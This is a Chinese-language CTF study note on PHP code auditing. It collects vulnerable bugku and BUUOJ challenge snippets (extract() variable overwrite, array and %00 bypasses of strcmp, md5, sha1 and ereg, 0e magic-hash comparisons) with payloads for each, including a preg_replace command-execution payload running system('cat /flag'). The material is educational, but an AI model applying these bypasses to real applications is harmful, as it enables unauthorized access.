使用说明
主要是用来查询,ctrl+f 或从目录查找需要的信息
题目主要是bugku上的代码审计,除了数字正则绕过以外都总结在了这里
部分知识点未写完
工具
Seay代码审计
Notepad++
了解php存在的bug
https://bugs.php.net/
基本所有的php相关的问题都会收录在这里
变量覆盖
1x01.extract 变量覆盖
定义和用法
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
语法
extract(array,extract_rules,prefix)
漏洞产生:使用了默认设置
攻击方法:制造变量名冲突,对于需要相等的值可以同时置空
修复:设定一个冲突时的处理规则
例题:
bugku extract 变量覆盖
<?php
$flag=\'xxx\';
extract($_GET);
if(isset($shiyan)) {
$content=trim(file_get_contents($flag));
if($shiyan==$content) { echo\'flag{xxx}\'; }
else { echo\'Oh.no\'; } }?>
payload:?shiyan=&content=
1x02 $$导致的变量覆盖问题
1x03 全局变量覆盖
1x04 parse_str()变量覆盖
1x05 import_request_variables()变量覆盖
弱类型
2x00 strcmp
定义和用法
strcmp() 函数比较两个字符串。
注释
strcmp() 函数是二进制安全的,且对大小写敏感。
提示
该函数与 strncmp() 函数类似,不同的是,通过 strncmp() 您可以指定每个字符串用于比较的字符数
语法
strcmp(string1,string2)
返回值:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
漏洞
在5.3之前的php中,当两个带比较的字符串中存在类型错误时,显示了报错的警告信息后,返回0
例题
bugku strcmp比较字符串
<?php
$flag = "flag{xxxxx}";
if (isset($_GET[\'a\'])) {
if (strcmp($_GET[\'a\'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die(\'Flag: \'.$flag);
else
print \'No\';
}
?>
payload:?a[]=
2x01 md5
定义和用法
md5() 函数计算字符串的 MD5 散列。
md5() 函数使用 RSA 数据安全,包括 MD5 报文摘要算法。
来自 RFC 1321 的解释 - MD5 报文摘要算法:MD5 报文摘要算法将任意长度的信息作为输入值,并将其换算成一个 128 位长度的"指纹信息"或"报文摘要"值来代表这个输入值,并以换算后的值作为结果。MD5 算法主要是为数字签名应用程序而设计的;在这个数字签名应用程序中,较大的文件将在加密(这里的加密过程是通过在一个密码系统下[如:RSA]的公开密钥下设置私有密钥而完成的)之前以一种安全的方式进行压缩。
如需计算文件的 MD5 散列,请使用 md5_file() 函数。
语法
md5(string,raw)
返回值:
如果成功则返回已计算的 MD5 散列,如果失败则返回 FALSE
漏洞
1.md5不能处理数组,返回值为null,比较两个字符串得md5值得时候不能传入数组类型。版本:未知
2.生日攻击:http://www.ruanyifeng.com/blog/2018/09/hash-collision-and-birthday-attack.html
当验证的是某字符串md5后的前六位,可以在1-10000中找到一个数满足md5值的前六位与之相同。需要自己写python脚本
3.取md5值后以0e开头的字符串:https://www.cnblogs.com/yunqian2017/p/13346660.html
例题
bugku md5()函数
<?php
error_reporting(0);
$flag = \'flag{test}\';
if (isset($_GET[\'username\']) and isset($_GET[\'password\'])) {
if ($_GET[\'username\'] == $_GET[\'password\']) print \'Your password can not be your username.\';
else if (md5($_GET[\'username\']) === md5($_GET[\'password\'])) die(\'Flag: \'.$flag);
else print \'Invalid password\';}
?>
payload:?username[]=1&password[]=2
例题2
[MRCTF2020]Ez_bypass
<?php
include \'flag.php\';
$flag=\'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}\';
if(isset($_GET[\'gg\'])&&isset($_GET[\'id\'])) {
$id=$_GET[\'id\'];
$gg=$_GET[\'gg\'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo \'You got the first step\';
if(isset($_POST[\'passwd\'])) {
$passwd=$_POST[\'passwd\'];
if (!is_numeric($passwd)) {
if($passwd==1234567) {
echo \'Good Job!\';
highlight_file(\'flag.php\');
die(\'By Retr_0\');
}
else {
echo "can you think twice??";
}
}
else{
echo \'You can not get it !\';
}
}
else{
die(\'only one way to get the flag\');
}
}
else {
echo "You are not a real hacker!";
}
}
else{ die(\'Please input first\'); } }
payload:
get:?gg[]=[]&id[]=[%221%22%20=%3E%20%222%22]
post:passwd=1234567a
2x02 sha1()
定义和用法
sha1() 函数计算字符串的 SHA-1 散列。
sha1() 函数使用美国 Secure Hash 算法 1。
来自 RFC 3174 的解释 - 美国 Secure Hash 算法 1:SHA-1 产生一个名为报文摘要的 160 位的输出。报文摘要可以被输入到一个可生成或验证报文签名的签名算法。对报文摘要进行签名,而不是对报文进行签名,这样可以提高进程效率,因为报文摘要的大小通常比报文要小很多。数字签名的验证者必须像数字签名的创建者一样,使用相同的散列算法。
语法
sha1(string,raw)
漏洞
不能处理数组,会返回null
例题
bugku sha()函数比较绕过
<?php
$flag = "flag";
if (isset($_GET[\'name\']) and isset($_GET[\'password\']))
{
var_dump($_GET[\'name\']);
echo "
";
var_dump($_GET[\'password\']);
var_dump(sha1($_GET[\'name\']));
var_dump(sha1($_GET[\'password\']));
if ($_GET[\'name\'] == $_GET[\'password\'])
echo \'
Your password can not be your name!
\';
else if (sha1($_GET[\'name\']) === sha1($_GET[\'password\']))
die(\'Flag: \'.$flag);
else
echo \'
Invalid password.
\';
}
else
echo \'
Login first!
\';
?>
payload:?name[]=1&password[]=2
2x03 ereg()
定义和用法
以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。
语法
ereg ( string $pattern , string $string [, array &$regs ] ) : int
返回:
如果在 string 中找到 pattern 模式的匹配则返回 所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1。
漏洞
- 不能处理数组
- 遇到%00时默认字符串已结束
例题
bugku 数组返回NULL绕过
<?php
$flag = "flag";
if (isset ($_GET[\'password\'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET[\'password\']) === FALSE)
echo \'You password must be alphanumeric\';
else if (strpos ($_GET[\'password\'], \'--\') !== FALSE)
die(\'Flag: \' . $flag);
else
echo \'Invalid password\';
}
?>
payload:?password[]=
payload:?password=abc%00--
例题2
bugku ereg正则%00截断
<?php
$flag = "xxx";
if (isset ($_GET[\'password\']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET[\'password\']) === FALSE)
{
echo \'
You password must be alphanumeric
\';
}
else if (strlen($_GET[\'password\']) < 8 && $_GET[\'password\'] > 9999999)
{
if (strpos ($_GET[\'password\'], \'-\') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die(\'Flag: \' . $flag);
}
else
{
echo(\'
- have not been found
\');
}
}
else
{
echo \'
Invalid password
\';
}
}
?>
payload:?password=9e9%00*-*
例题3
bugku strpos数组绕过
<?php
$flag = "flag";
if (isset ($_GET[\'ctf\'])) {
if (@ereg ("^[1-9]+$", $_GET[\'ctf\']) === FALSE)
echo \'必须输入数字才行\';
else if (strpos ($_GET[\'ctf\'], \'#biubiubiu\') !== FALSE)
die(\'Flag: \'.$flag);
else
echo \'骚年,继续努力吧啊~\';
}
?>
payload:?ctf=123%00%23biubiubiu
2x04 strpos()
定义和用法
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
注释:strpos() 函数对大小写敏感。
注释:该函数是二进制安全的。
语法
strpos(string,find,start)
返回:
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
注释:字符串位置从 0 开始,不是从 1 开始。
漏洞
不能处理数组
例题
bugku 数组返回NULL绕过
同上
2x06 == 自动类型转换
说明
当两边类型不相同时,会自动转换为相同类型。其中字符串与数字的比较,字符串转换成数字。转换规则为,从第一位开始是数字就转为数字,不是数字就为0
漏洞
1.会自动截断
2.当两边都是0e开头的字符串时,会视为数字进行自动转换,配合md5就会绕过
例题
bugku 弱类型整数大小比较绕过
$temp = $_GET[\'password\'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
payload:?password=1337a
例题2
bugku md5加密相等绕过
<?php
$md51 = md5(\'QNKCDZO\');
$a = @$_GET[\'a\'];
$md52 = @md5($a);
if(isset($a)){
if ($a != \'QNKCDZO\' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
分析:md5(QNKCDZO)是以0e开头的
payload:?a=240610708
例题3
bugku 十六进制与数字比较
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = \'flag{test}\';
$one = ord(\'1\'); //ord — 返回字符的 ASCII 码值
$nine = ord(\'9\'); //ord — 返回字符的 ASCII 码值
$number = \'3735929054\';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET[\'password\'];
echo noother_says_correct($temp);
?>
payload:?password=0xdeadc0de
说明:把3735929054转换到16进制
反序列化
魔术方法
例题:
[网鼎杯 2018]Fakebook 本题wp不知道大佬怎么一眼看出来反序列化的
反序列化逃逸
[安洵杯 2019]easy_serialize_php 本题wp
反序列化逃逸
preg_replace命令执行漏洞
[BJDCTF2020]ZJCTF,不过如此
本题wp
相关研究
payload:http://152f4e83-8272-4a30-a835-50be318d8f87.node3.buuoj.cn/next.php?\\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);
不完整的序列化使析构函数提前执行
[网鼎杯 2020 青龙组]AreUSerialz 本题wp 本题wp2
phar反序列化
什么是phar
例题
[SWPUCTF 2018]SimplePHP | [UNSOLVED]
参考:https://xz.aliyun.com/t/6699